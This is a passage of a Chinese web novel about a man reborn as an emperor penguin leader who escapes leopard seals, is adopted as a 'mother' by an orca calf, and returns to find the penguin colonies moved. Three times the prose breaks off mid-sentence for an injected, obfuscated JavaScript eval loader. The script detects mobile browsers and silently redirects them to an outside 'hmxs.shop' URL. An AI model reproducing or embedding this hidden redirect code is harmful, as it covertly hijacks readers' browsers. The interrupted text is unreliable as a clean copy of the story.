阿让保护族群的经验非常丰富,全都毫无保留的告诉了他! 他之前就听说过,阿让会力所能及的帮助所有帝企鹅,将自己的经验传授给遇到的每一个帝企鹅首领。 很多很多的帝企鹅族群都因此受益,所以才有那么多帝企鹅无时无刻不在称赞阿让。 只是阿让的经验太多太复杂,即便十分详细的告知,也没有多少首领真的能全部记住,能记住一部分,就已经算很厉害了。 主要还是帝企鹅的智商确实不高,不是亲自经历的,就很难记得住。 阿让从来不嫌麻烦,即便明知道他们很难记住,还是会一遍又一遍重复。 潘步就这么痴痴的凝望着阿让,他已经完全被阿让的人格魅力,额不是,鹅格魅力深深折服! 阿让讲完应对别西普的经验,接着又说: “我还必须要提醒你,不要靠近任何一个虎鲸群,不要相信任何一头虎鲸,虎鲸是除了豹海豹之外,最喜欢捕猎企鹅的!” 潘步用力的点着头,说:“阿让,我记住了,你放心。” 阿让接着就将整个南极海域,哪些虎鲸群会吃企鹅,哪些虎鲸群虽然不吃企鹅,但很喜欢戏耍企鹅,全都一一告知了阿步。 潘步听得特别认真,越听越觉得不可思议。 阿让居然能记住南极所有的虎鲸群,每一个虎鲸群的领海,经常活动的范围,以及喜好等等,全都了如指掌! 潘步:……作为帝企鹅,居然能记住这么多东西,这真的科学吗? 不过,无论是人类还是动物,都有特别聪明的个体,也有很笨的个体,不能一概而论。 而且,阿让已经十多岁,当首领都至少当了十年,算是年纪比较大的帝企鹅,经验丰富也算正常。 阿让又补充道:“虎鲸非常狡猾,他们说什么,你都不要信,他们最喜欢戏耍企鹅。” 潘步用力的点着头。 其实就算没有阿让的嘱咐,他也绝对不会相信任何一头虎鲸。 虎鲸智商太高,可以把全海洋当狗耍,虎鲸不仅爱戏耍企鹅,虎鲸是爱戏耍所有海洋生物。 而且,无论成年虎鲸还是幼崽都很贪玩,成天吃饱了就到处找乐子,任何海洋生物,都可能会成为虎鲸的乐子! 阿让最后才说:“我的族群该回去聚居地了,我会马上带着族群上岸,你自己多加小心。” 潘步听的太痴迷,一时之间都没反应过来。 直到阿让已经带着族群跳到了海里,往岸上游去,他才声嘶力竭的大喊:“阿让,谢谢你!” 阿让只是摆了摆翅膀,表示不用感谢,他对任何一个帝企鹅首领都这样。 但是,潘步仍旧坚定的认为,阿让对他,就是更好! 以前阿让都是恰好遇到别的帝企鹅首领,才会告知这些。 但这次,他们可没有恰好遇到,阿让找了他很久,特意来告诉他的! 他突然有点懊悔,刚才听得太入神,居然都忘记了问,阿让到底找了他多久? 阿让的族群比他的族群先下海至少半月以上,他的族群还要在海里待上十天左右。 这样算起来,阿让早就应该带着族群上岸,但还是一直在找他,至少应该找了五六天的时间。 潘步:嘿嘿嘿,我这也算追星成功吧,噢耶!被偶像在乎的感觉,真棒! 巨牙气鼓鼓的说:“麻麻,那个什么别西普,太可恶了,我要弄死他,谁让他吓到了你……” 潘步赶忙解释:“牙牙,我一点儿也不怕他,而且,你还小,不,就算你长大了,也不能总是去打架,麻麻只要你好好的!” 虽然豹海豹绝对不是象海豹的对手,但对幼崽来说,还是很危险。 更何况,再厉害的动物,都应该尽量避免受伤。 象海豹生性异常暴躁好斗,潘步就更希望,巨牙能够克制一点。 巨鼻当即就说:“阿步,别西普的族群很大,我现在就回去带族群过来,有整个象海豹族群保护,绝对可以让你的族群每一只帝企鹅都很安全!” 潘步沉思了片刻,最终还是做出了这个艰难的抉择,诚恳道: “我和我的族群不能总是依靠你的保护,你也会有顾不过来的时候,如果太依赖你,我和我的族群都会丧失生存能力。” 巨鼻想了想,还是说:“那、那至少这次,我必须全程保护你们!牙牙就留在你身边,我很快就回来。” 潘步忙道:“不行,牙牙,你得带走,我没能力保护好牙牙。” 巨鼻却说:“我最多一天左右就回来,你们就一直在这块浮冰上,不要下海,就不会有任何危险。” 从这片海域径直到象海豹聚居的沙滩,用最快的速度游,片刻不歇,也得一天左右才能往返。 潘步坚定道:“那也不行,虎鲸太厉害,几个虎鲸群一起撞击,这块浮冰也顶不住。” 南极的虎鲸群,大部分都非常喜欢捕猎企鹅和象海豹幼崽。 潘步主要考虑到,企鹅的游速比象海豹快,如果真被虎鲸捕猎,企鹅能靠游速逃脱,但他再厉害,也不可能从虎鲸嘴里救下牙牙。 如果是巨鼻带着巨牙离开,他们两个可以更好的隐藏,提前避开虎鲸群。 一整个帝企鹅族群,目标还是太大了,更容易被虎鲸盯上。 巨鼻自然也想到了这点,果断带着崽子一起离开。 只要涉及到麻麻安全的问题,巨牙从来非常乖巧,不会闹着硬要跟着麻麻,只会催促爸爸加快速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886641|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度,快点再快点带族群回来! 潘步早就不想麻烦巨鼻。 等巨鼻和巨牙的身影再也看不见,他立马带着族群去深海捕猎进食。 他之前就已经观察好了,这次吃饱后,就换到距离这里比较远的另外一块大浮冰上休息。 这片海域很大,只要他刻意躲避,巨鼻就没法轻易找到。 此后好些天,他都刻意避开了巨鼻的族群。 与此同时,他始终谨记着阿让的嘱咐,每次带着族群进食,都会非常仔细观察四周。 忽然,他感到海底水流变的有些急促。 即便没看见任何威胁,他还是立即发出超高频的叫声,命令族群:“快游!跟紧我!” 他立马往更加空旷的海域游去,同时用余光观察四周。 瞬息之间,无数豹海豹从巨大的珊瑚礁后面“倾巢而出”,带头的正是别西普! 他都看呆了,怎么都没想到,这么多豹海豹居然能悄无声息的藏的那么好。 如果没有阿让的嘱咐,但凡他迟一点察觉,但凡他犹豫一秒,简直不敢设想! 鱼虾很多的海域,就是会有很多巨型海绵、珊瑚礁、海藻林等,这些都是豹海豹隐藏的好地方。 只有逃去空旷的海域,才能彻底摆脱豹海豹的威胁。 他看见,族群最后的那只帝企鹅已经被别西普咬下了很大一戳尾巴毛,但好在挣脱了。 所有帝企鹅都吓坏了,游的更快,拼了命的逃离。 潘步像一颗滚圆的高.速.炮,游在族群的最前面带路。 帝企鹅在海中的游速就这么快,已经不能用游来形容,更准确的说,应该是“飞射”。 每一只帝企鹅都像是一颗颗高.速.炮,在海里疾驰逃命。 所有帝企鹅都游出了残影,他们所过之处,只留下一道道冒着气泡的水痕。 海水碧蓝,在极光天光的照耀下,光点斑斑,犹如星空。 极速游过的一群帝企鹅,就如同流星划过。 行动缓慢的睡鲨看的很认真,仍旧发出了疑问:“什么玩意儿飞过去了?” 直到被远远抛在后面的豹海豹群出现,睡鲨才点着头说:“哦,企鹅。” …… 潘步带着族群游到了非常空旷的海域,周围什么遮挡都没有,这才敢停下来歇息。 豹海豹群早就被甩开很远,这会儿连一点儿影子都看不见了。 但他还是保持着高度警惕,一旦别西普的族群追上来,他们就得立马接着逃命。 一般的豹海豹追不上就不会再追,但别西普不是一般的豹海豹。 别西普很喜欢玩追逐赛,很喜欢挑战极限,将帝企鹅耐力耗尽,别西普不是在捕猎,是在猎杀着玩。 即便企鹅的耐力比豹海豹强得多,奈何别西普很有耐心,搞的就是猎物的心态,一旦崩不住,就完蛋了。 潘步紧紧盯着,果然,没一会儿就远远看见别西普带着族群追来了。 别西普追的不紧不慢,但丝毫没有放弃的意思。 潘步:……谁有别西普的号,真剑啊,早晚,我要搞死他! 他见族群的帝企鹅大部分都已经陷入绝望和恐惧,立马鼓励: “别怕,他们游不过我们,我倒要看看,他能追多久。” 突然,下方黑黢黢的深海处,传来怒吼:“谁敢伤害阿步!” 潘步无比好奇的看着声音传来的海域。 他完全想不出是谁会帮他,巨鼻下潜不到那么深。 12.南极帝企鹅·生命赞歌(12) 潘步目不转睛的盯着黑黢黢的深海看,但一直没什么动静,差点给他看出深海恐惧症! 其实当人的时候,他都没有深海恐惧症,否则下海的科研就没法做。 穿成帝企鹅后,当然就更不可能有,毕竟帝企鹅最多可以下潜到600米,憋气长达25分钟,比一些鲸鱼都厉害。 主要是他现在太紧张,未知的危险才最可怕。 他无法判断黑黢黢的深海游上来的会是什么。 那句“不许伤害阿步”,到底是真的要帮他,还是故意拖延,好让他上当? 更让他恐惧的是,就连别西普都被这声怒吼吓跑了! 别西普可是最凶残的豹海豹,居然被吓的立马就带着族群飞速游走,好似晚走一点儿,就会没命。 突然,一头巨大无比的虎鲸出现,身后还跟了一头虎鲸幼崽,竟然是海赛和海德! 他立马就要带着族群逃命。 虎鲸果然狡诈,居然会故意这样说,来拖延他们逃走的速度! 海德赶忙大喊:“阿步,你别怕,我已经知道,在那个大冰洞,是你指引海赛,他才能游回大海,是你救了我的崽子,我会永远保护你!” 潘步急道:“不是我,你认错了。” 他就是胆子再大,也不想跟任何虎鲸扯上一丝一毫的关系。 如果那天,他知道是虎鲸幼崽,绝对不会指引崽子回大海。 虎鲸和豹海豹都是企鹅的天敌,虎鲸可比豹海豹厉害多了,他不可能会救自己族群的天敌! 海德最终停在,对企鹅来说,绝对安全的距离,柔声道: “阿步,你别怕,我不会再靠近,你先听我说完。” 海赛糯叽叽的解释:“妈咪,那天我没看见你的样子,但我在海里跟了你很久了,你的声音就是那天妈咪的声音!” 潘步连连否认:“不是,我真不是,我都不知道你们在说什么。” 海赛哭唧唧的说:“妈咪,对不起,那天在冰洞,我没认出你,才会那样骂你,都是我不好,你不蠢,是我太蠢!企鹅很聪明 ,企鹅最聪明!” 潘步:……倒也不必,企鹅确实挺笨,穿成企鹅后,我都变呆了。 海德赶忙说:“阿步,我知道,让你当虎鲸的妈妈,这很奇葩,但我实在没办法,我的崽子已经无法再承受失去妈妈。” 潘步无语:……你都没搞清楚重点,奇葩就算了,关键你们虎鲸超爱吃企鹅诶! 海德连忙又补充:“阿步,我知道,你不信我,但我如果要捕猎你的族群,根本不用这么麻烦。” 潘步:……这倒是没法反驳! 海德:“我的崽子真的需要你,只要你答应,我会永远保护你的族群。” 潘步:虽然但是,你考虑过我的感受吗,我是企鹅诶,我怕虎鲸啊!而且,你们虎鲸有什么信誉可言吗?! 海德:“阿步,我知道企鹅都怕虎鲸,我会等你慢慢适应,等多久都没关系,在你完全不怕虎鲸之前,我们绝不会靠近你。” 潘步:……虎鲸果然最聪明,我啥都没说,你也能猜到,你是真会读心啊! 海德:“阿步,你放心,我绝不会让那个什么别西普再靠近你的族群。” 这段时间以来,海德一直都在偷偷跟着阿步,主要就是为了能有机会,救一次阿步以及阿步的族群。 他深知,企鹅都惧怕虎鲸,如果他救一次阿步的族群,应该就能减轻一点阿步对虎鲸的恐惧。 这次就是很好的机会,但企鹅逃命的时候,游速太快,他都差点没跟上! 如果不是他对这片海域非常熟悉,抄近路追,早都跟丢了。 只可惜这么拼命的追,也还是没能救成功,阿步的族群能甩掉别西普,根本不用他救。 海德的话都说到这个份上了,潘步也不得不坦诚相待,直言道: “那个,我、我,就是,我实话说了吧,那天我根本不知道是虎鲸幼崽,如果我知道,绝不会指引他回大海。 都怪我多管闲事,你们不用谢我,更不要再纠缠我。” 海赛从哭唧唧变的很冷静,但声音还是无法自控的颤抖: “妈咪,你不是多管闲事,如果没有你,我早就死了,妈咪,求求你,别不要我。 你喜欢什么样的幼崽,我都可以改的,我会变成你喜欢的样子。 妈咪,我不能没有你,妈咪,我就要你,就要,求求你,别说不要我。” 他长叹了一口气,解释道:“首先,我不是你的妈咪,其次,我是公企鹅。” 潘步:……诶,这话好熟悉。 海赛又说:“这些我都知道,但我就要你这个妈咪!我就要!求求你,答应我好不好,当我的妈咪好不好,我不能没有妈咪,别的虎鲸都有麻麻……” 潘步是真的有点生气了,怒道:“海赛,你清醒一点,虎鲸有个企鹅妈妈,你又会被全海洋嘲笑!你还没被嘲笑够啊?” 说完,他才有点后怕,海赛这崽子可是非常凶恶的,这么直戳海赛的痛处,他是真怕被一口咬死。 潘步:……没办法,企鹅就这样,脑子在嘴后面追。 海赛丝毫不生气,眼神变的异常锐利,坚定道: “我从来就不怕嘲笑,我的妈咪什么样子都是最好的妈咪!他们可以说我,但要是敢说你,我就把他们全部撕碎咬烂!” 潘步愣了愣,忽然有点心软,但还是说:“无论如何,我都不会答应你。” 海赛顿时就急了,不住的说着讨好的话: “妈咪,我真的觉得企鹅超厉害,企鹅胖乎乎的小小的呆呆的,但游超快,不,企鹅不呆,只是太胖看上去笨重。……” 潘步:海赛,你现在骂鹅可真高级。 海德赶忙说:“阿步,你有什么要求,都可以提。” 潘步无奈道:“别再跟着我,别再纠缠我,算我求你们,可以吗?” 海赛急的不行,哭唧唧的要游过去跟妈咪亲昵。 海德赶忙拦住了崽子,强行带着崽子离开,不住的安慰: “别这样,你也不想吓到妈咪的,对吧?赛赛乖,让爸爸来想办法……” 海赛哭唧唧的说:“爸爸,我会乖,我要妈咪,但我不要吓到妈咪,不要……” 潘步愣愣的望着他们离去的方向,再也看不见踪影,都还没回过神来。 阿沙首先反应过来,激动的说:“不是,他们有病吧!他们是虎鲸,我们老大是企鹅啊!” 潘步当即命令族群,就当刚才的一切都没发生过,以后都不许再提。 …… 此后好些天,潘步都再也没见过海德父子两,自然认为他们已经放弃了这么离谱的想法。 族群的帝企鹅全部都已经长得很胖,差不多也就该离开大海,回去聚居地了。 潘步最后一次带着族群去深海进食,吃了满肚子的鱼虾。 吃饱后,他们照样躺在大浮冰上休憩。 等不那么撑,等养足精神,再赶路。 一群阿德利企鹅就在对面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895180|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的浮冰上休憩,一直都在嘎嘎叫,吵闹的不行。 相对而言,潘步的帝企鹅族群就很安静。 如果说帝企鹅是南极最优雅的绅士,那么阿德利企鹅就是恶.棍.黑.帮。 对面的阿德利不仅吵闹,还在不停的打架,族群内部都能打起来。 潘步乐滋滋的看热闹,同时感慨,帝企鹅的数量实在太少。 对面的阿德利族群至少有几千只企鹅,但这种规模,只能算普通族群,而帝企鹅几千只就是最大的族群了。 因为帝企鹅原本总数就很少,总共才50多万只,而阿德利企鹅总共有五六百万只。 阿德利还不是数量最多的企鹅,数量最多的是长冠企鹅,有2400万。 企鹅有多达18个品种,总数超过一亿,但就帝企鹅数量最少! 潘步:啊,帝企鹅,壮大起来吧! 这时,他远远看见海赛游了过来。 海赛没有靠近他所在的浮冰,停在了阿德利族群休憩的那块浮冰面前。 阿德利是最暴躁最凶恶的企鹅,但还是被虎鲸幼崽吓到了,全都安静了下来,躲到了浮冰的最中央。 有虎鲸幼崽,就证明虎鲸群必定就在附近。 海赛一下又一下的用自己的身体狠狠撞击浮冰。 这块浮冰很大很厚,就算是数个虎鲸群同时撞击,也撞不碎。 一个虎鲸幼崽的力量,根本无法撼动浮冰分毫,就连一点儿抖动都没有。 潘步早就发现,海赛不对劲,好似脑子又不清楚了。 海赛专门撞击浮冰最尖锐的部分,圆滚滚的身体很快就被划的到处都是伤,鲜血染红了周围的海水。 潘步实在看不下去了,大喊:“海赛,别演了,别撞了!” 虽然海赛确实脑子有问题,但虎鲸实在太聪明,他就觉得,这是海赛故意演给他看的苦肉计。 海赛只是短暂回神,倒没有再继续撞击,但潜到了水下,用自己小小的身躯拼命的顶巨大的浮冰,一边顶一边说: “妈咪,我顶你上去换气,妈咪,你好重,你自己游一下好不好,我快顶不动了……” 潘步忽然有些泪目。 他曾经见过,母鲸死亡,庞大的身躯不断下沉,鲸崽拼命的在下面顶,但根本顶不动。 海赛顶了很久,都没有上来换气。 再不上来换气,会憋死的! 潘步再也顾不得那么多,往海赛的身边弹.射而去。 他拼命的将海赛往外推,但海赛作为一岁多的虎鲸幼崽已经至少有九百斤,他根本推不动,只能不住的劝: “快,跟我游出来,去换气!你不要命啦……” 实在劝不动,他不得不柔声哄:“赛赛乖,跟妈咪游出来,跟妈咪上去换气……” 海赛终于迷迷糊糊的跟在了他的身后,回到了海面上。 他这才放心,准备回到自己的族群。 海德赶忙游了过来,愧疚道:“阿步,对不起,我没看好崽子,给你添麻烦了。” 潘步:啊啊啊,我到底在干嘛,我疯了吧,我救虎鲸! 嗖!嗖! 突然一大一小两只象海豹从下方海域以极快的速度冲了上来。 潘步都没反应过来,就看见,巨鼻狠狠撞在了海德身上,巨牙狠狠撞在了海赛身上。 他没想到,巨鼻居然找了过来,巨鼻肯定以为虎鲸要吃他,巨鼻真傻,怎么连虎鲸都敢撞! 潘步:……老天鹅,这可怎么办啊! 13.南极帝企鹅·生命赞歌(13) 他们相撞后,因为双方都很重,惯性太大,立马弹了开。 潘步赶忙冲到中间,大喊:“快停下来!别打!不许再打!谁再打,先把我撞死!” 海德立马解释:“巨鼻,我是来感谢阿步的,绝对不会伤害他,你放心。” 之前他一直偷偷跟着阿步,当然认识巨鼻,也听说过巨鼻和阿步的传奇经历。 潘步急忙说:“海德不会伤害我,巨鼻,我们先看看牙牙,肯定撞伤了!” 他说着已经游到了巨牙的身边,无比心疼的蹭着巨牙庞大的身躯,柔声问: “牙牙,疼坏了吧,身体里面疼不疼?哪里疼都要说,不要瞒着麻麻……” 海赛瞬间变得异常低落,依偎在海德的身边,嘤嘤叫着说: “可是,我也很疼,为什么妈咪不看看我?” 潘步顿时就觉得自己很过分,海赛刚才就受了伤,又被撞,但他还是下意识先关心牙牙。 主要,牙牙跟他感情太深。 更何况,他就根本没有也不敢真的把虎鲸幼崽当做自己的崽子。 他是企鹅,哪有资格去担心虎鲸,真是不自量力! 海德连忙安慰:“赛赛乖,我们不能着急,要先让阿步不怕你。” 巨牙一边用大脑袋回蹭着阿步,一边恶狠狠的瞪着海赛,气鼓鼓的说: “阿步是我的麻麻,才不是你的,才不是!还有,你们虎鲸都很坏!不许你靠近我的麻麻!” 随后巨牙又糯叽叽的说:“我不疼,一点儿也不疼,麻麻,我已经超厉害了,我才不怕虎鲸,我不怕!” 潘步仔细检查了巨牙全身,只有撞击的地方擦伤出血,但不严重,他又赶忙检查巨鼻的伤。 虽然巨鼻作为最大的象海豹体重至少5吨,但海德是最厉害的虎鲸,体重12吨以上,差距还是太大。 两者相撞,肯定是巨鼻更容易受伤,甚至如果没有技巧,会伤的很重! 巨鼻赶忙说:“阿步,我没事,我经常打架,怎么撞都不会受伤,放心吧。” 这点倒是真的,巨鼻的撞击技巧最好。 但潘步还是很生气,非常生气,特别生气,这会儿他也才顾得上生气,怒吼道: “巨鼻,你疯了啊,你敢撞虎鲸!你自己不要命就算了,怎么还带上牙牙! 别说什么,为了我,你什么都不怕,什么都敢做!我不要你们为我做任何事,只要你们好好活着! 以后再干这种蠢事,我就当从来不认识你们……” 巨鼻原本听得很爽,他很享受阿步这么在乎他们,但听到这里,他立马急了,赶忙保证: “阿步,你别生气,我错了,我知道错了,我保证,再也不会这样,再也不会!” 巨牙也急忙保证:“麻麻,对不起,都是我们不好,让你这么担心,麻麻,我们会改,一定改……” 潘步无奈道:“你们明白就好,任何时候都要保护好自己,我要是死了,你们肯定很难过,你们死了,我也会很难过!” 巨鼻和巨牙不住的点着头。 随后,潘步恳求道:“海德,你不要记恨巨鼻,他都是为了我……” 虎鲸是非常记仇的,有的虎鲸被座头鲸打过,十年二十年后,甚至终生,都会执着于找到座头鲸报仇。 海德连忙说:“阿步,我怎么会记恨,巨鼻能为你攻击虎鲸,连死都不怕,我为你高兴还来不及!” 之前他就觉得巨鼻一直保护阿步,还算不错,但从没将巨鼻放在眼里,直到现在,他才真的认可巨鼻。 潘步到底还是觉得很愧疚,十分诚恳的说: “对不起,都是我的错,海德、海赛,都是我不好,让你们受伤。” 海德赶忙解释:“阿步,我们没受伤,这点撞击对虎鲸来说,不值一提。” 潘步到底还是很担心,又说:“赛赛身上本来就有撞击浮冰的伤口,也不知道深浅,你快好好看看。” 刚才的一切发生的太突然,情况又太复杂,他的脑子一片浆糊,这会儿只想着,两个崽子没事,就什么都好。 海赛顿时就开心的不行,嘤嘤叫着说: “妈咪,真的很痛,你快帮我看看好不好,我不要爸爸看,我伤成什么样,爸爸都觉得没事!” 海德有些尴尬的哄:“赛赛,你是虎鲸,一点儿小伤怕什么,这根本就不算伤。” 过客虎鲸确实不在乎任何伤,别说小伤,重伤也从来不耽误他们捕猎进食战斗。 海德之前就是过客虎鲸,海赛的妈妈海音是南极的居留虎鲸,海德是为了海音才留在南极的。 过客虎鲸是绝对不会和居留虎鲸在一起的,更不可能为了谁成为居留虎鲸,但海德就是这么做了。 潘步虽然是企鹅,但全海洋都知道海德和海音的过往,他也早就听说过。 他都无法想象,海音死后,海德会有多难过,但为了幼崽,海德必须振作起来。 这也是海德无限溺爱崽子的原因。 即便如此,作为过客虎鲸的习惯还是难以改变,海德的这套“什么都不算受伤”的逻辑,潘步就简直无法苟同。 他实在有点看不下去了,心想:难怪海赛离不开妈妈,过客虎鲸还是太糙了点,溺爱幼崽但又溺爱不到关键点上。 海赛小心翼翼一点一点的往阿步的身边游,一边游一边说: “妈咪,你要是害怕,我也可以不过来的,我不想吓到你,但我真的很疼,我想要你帮我看看,想要你抱抱我……” 潘步觉得,事情已经发展到了这个地步,他再强行拒绝,好似也没什么用了。 更何况,他当人的时候,就非常喜欢虎鲸。 即便已经变成了企鹅,生存的本能让他惧怕天敌,但内心深处仍旧喜欢。 虎鲸完全长在人类的审美点上,简单又高级的黑白配色,整个身体圆滚滚的,还会嘤嘤叫,无法形容的可爱! 更何况,海赛这样子,看上去实在太可怜。 他再也硬不起心肠,只能说:“你、你过来吧。” 潘步:……真可爱,真可怕,左右脑疯狂互搏中! 海赛兴奋的嘤嘤叫,但还是很小心,轻轻靠过去,用大脑袋无比轻柔的蹭着阿步的整个身体。 潘步十分仔细的检查了崽子的全身,柔声嘱咐: “伤都在背上和脑袋上,不深但伤口很多,要好好养伤,不要再撞任何东西,不要去深海,尽量浮在海面上,才能不留疤……” 海赛不住的点着头说:“妈咪,我乖,我都听你的!你能不能抱抱我?” 潘步:……额,你这么巨大,我怎么抱?! 他虽然这样想,但还是张开了翅膀,抱住了海赛的一点嘴筒子。 帝企鹅在庞大的虎鲸面前,就这么袖珍,连虎鲸幼崽的嘴都抱不完。 海赛浑身无法自控的微微颤抖,激动的嘤嘤叫:“妈咪,我不管,我就当你已经答应做我的妈咪啦!” 潘步:啊,心都要化了,真想说葫芦娃里蛇精的经典台词——你又愣又蛮又可爱,真讨人喜欢,你要是愿意,就做我的娃子吧! 但是,他什么都没说。 巨牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900464|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再也忍不住,急道:“麻麻,他是虎鲸啊!麻麻,你疯了吗?不要做他的妈咪,他会吃掉你!” 潘步赶忙说:“牙牙,赛赛也跟你一样,没有麻麻,很可怜的,他比你大,就是你的哥哥,你们要互相关爱,可以吗?” 他主要是考虑到,他马上就要带着族群回聚居地,必须先解决他们之间的矛盾。 否则,以海赛这么恶劣的性格,并且海赛脑子是真的有问题,海德也不可能时时刻刻都看着海赛,他是真怕,海赛会找机会弄死巨牙。 巨牙气鼓鼓的说:“麻麻,我不要,我没疯,我不会当虎鲸的兄弟!” 海赛得意洋洋道:“那反正,妈咪已经是我的妈咪了,你气也没用,略略略。” 随后,他又冷哼了一声,说:“我才不稀罕你这个弟弟呢,而且,有一个虎鲸哥哥,你就偷着乐吧!” 潘步游到两个崽子的中间,无比轻柔的分别蹭了蹭两个崽子的大脑袋,严肃道: “你们认我当麻麻,就要听我的话,不然,你们还是不要喊我麻麻了,我是企鹅,你们都比我厉害的多,我管不了你们。” 两个崽子拼命的点头,争先恐后的说:“妈咪,麻麻,我听你的话,我什么都听你的……” 潘步又蹭了蹭他们的大脑袋,柔声嘱咐: “我要回去聚居地了,你们以后就是兄弟,不许吵架,更不许打架,只有你们都好好的,我才会开心……” 两个崽子不住的点着头。 潘步当然没想过真的要两个崽子做到互相关爱,只希望他们别作死就行。 巨鼻和海德都连连保证,一定会管好崽子。 潘步最后才说:“我马上就要带族群上岸,不用你们送我,一个都不用。” 海赛连忙问:“妈咪,你什么时候再回海里?我会很想很想你的!” 潘步如实说:“我也不知道,但不会很久。” 巨牙又说:“麻麻,我等你回来!” 潘步赶紧头也不回的游走了。 他游到族群所在的浮冰,发出一声命令,所有帝企鹅立马全都跳到了海里,跟着他一起往岸上游去。 巨鼻和海德同时拦住了崽子,只是目送着阿步离开。 族群的所有帝企鹅都无法理解阿步为什么要救虎鲸幼崽,更不理解阿步真的当了虎鲸幼崽的麻麻。 但他们绝对服从首领,什么也没说。 阿沙游到阿步的身边,轻声问:“老大,你真厉害,你真的不怕虎鲸啊?” 阿慢鄙夷道:“就你啥都怕,又不是所有虎鲸都吃企鹅,而且,我们老大就是超厉害,虎鲸都听他的!” 潘步:……并没有,我也怕,但形势逼鹅强! 其实直到现在,企鹅的本能还是让他惧怕虎鲸,但已经不那么怕海赛,只觉得崽子很可怜。 并且,他已经在计划,等下次回到海里,他会尝试帮海赛“治疗”一下脑子,至少别再伤害自己。 海德不可能时时刻刻盯着崽子,如果海赛总是到处乱跑,总是伤害自己,总是憋气,早晚会出事! 他还是带着族群从象海豹沙滩上岸。 沙滩上的象海豹很少,因为竞争交.配.权的战斗已经结束了。 回去的路途没遇到什么意外,一切都非常顺利。 直到本来应该出现连绵不绝帝企鹅族群的聚居地,竟然一个族群都没有! 阿沙拼命的眨眼间,问:“族群呢?我不会也瞎了吧,你们能看见吗,还是只有我看不见?” 潘步大喊:“先别着急,我们赶紧回去!” 14.南极帝企鹅·生命赞歌(14) 族群所有的帝企鹅都茫然的望着这片空空荡荡的冰原。 他们原本趴着滑行,陆陆续续都站了起来,但摇摇摆摆的站不稳,扇着翅膀找平衡。 因为都吃的很胖,比出发时大了好几圈,一个个看上去滑稽可笑又无助。 潘步:额……呆呆笨笨又懵逼但超大只超胖! 无论怎么看,还是一个族群都没有,一个都没有,消失的无影无踪。 原本应该被无数族群占满的冰原,只剩下无尽的纯白。 仿佛这里从来就没有过帝企鹅。 如果不是对这片聚居地太熟悉,潘步差点都以为是自己带错路了! 连根企鹅毛都没剩下,证明所有族群搬走已经挺长时间。 搬走后,这里至少又经历了好几次暴风雪,厚厚的新雪将所有族群曾经在这里生活的痕迹完全掩埋。 再猛的暴风雪都无法让所有族群全部搬离,肯定是其他的原因。 潘步先安抚了大家:“肯定是换聚居地了,我们继续往前走,一定能找到!” 所有帝企鹅叽叽喳喳的说:“可是老大,为什么所有族群都要换地方,这也太奇怪了……” 某个帝企鹅族群换聚居地,是很常见的情况,费劲儿找找就能找到,这都不算难题。 但所有族群一起换,确实从未出现过,实在太诡异! 潘步坚定道:“别乱猜,在冰原内陆是绝对安全的,我们这次回来的快,有很多时间找族群,不要着急。” 如果不能及时找到新聚居地,族群的幼崽全都会饿死。 潘步带着所有帝企鹅用最快的速度滑行,朝着更东的方向而去。 他一边快速滑行,一边四处观察,寻找族群搬迁的痕迹。 族群只可能往更东的方向迁移,因为那边有更强大的帝企鹅族群,从东边下海也比从西下海好得多。 阿让的族群就在最东边,最靠近东海岸的聚居地。 冰原的东海岸是连绵不绝的超长超平缓沙滩,不容易埋伏太多豹海豹,象海豹也不会将沙滩完全占据。 潘步的族群,以及许多其他帝企鹅族群,是因为聚居地在西边,只能从西边下海,去东海岸实在太远。 至于为什么他们不选择东边作为聚居地,当然是因为东边都被更强大的帝企鹅族群占据,他们没得选。 潘步带着族群飞速前进。 也不知过了多久,直到翻过一个大冰坡,终于看见了连绵不绝的帝企鹅族群! 但所有族群全都紧紧挨在一起,非常拥挤。 这里已经到了东西冰原的边界线上,再往前,就是东部帝企鹅族群。 所有西边冰原的帝企鹅族群全都挤在这里,当然拥挤不堪。 潘步站在冰坡的最高处,猛的向下滑去,如同一颗滚圆的炮.弹.射了出去,族群也跟着他一起射了出去。 族群实在太多,只能挨个找过去。 终于,他们在这条“族群长龙”的尾巴上看见了自己的族群,旁边就是无比巨大的冰山。 砰! 潘步都没反应过来,就有毛茸茸的小崽子猛的扑到了他的怀里。 “哥哥,你终于回来了,我好想你!” 潘步往下一看,才认出,原来是阿加。 这里距离他们的族群还有一段距离呢。 阿加长胖了好多,浑身的毛都变的特别丰满蓬松,跟他离开时那个十分瘦小的崽子,简直判若两鹅! 潘步紧紧抱住了崽子,不住的用喙蹭崽子的脖颈,激动的说: “哥哥也很想你,阿加,崽崽,你长大了好多……” 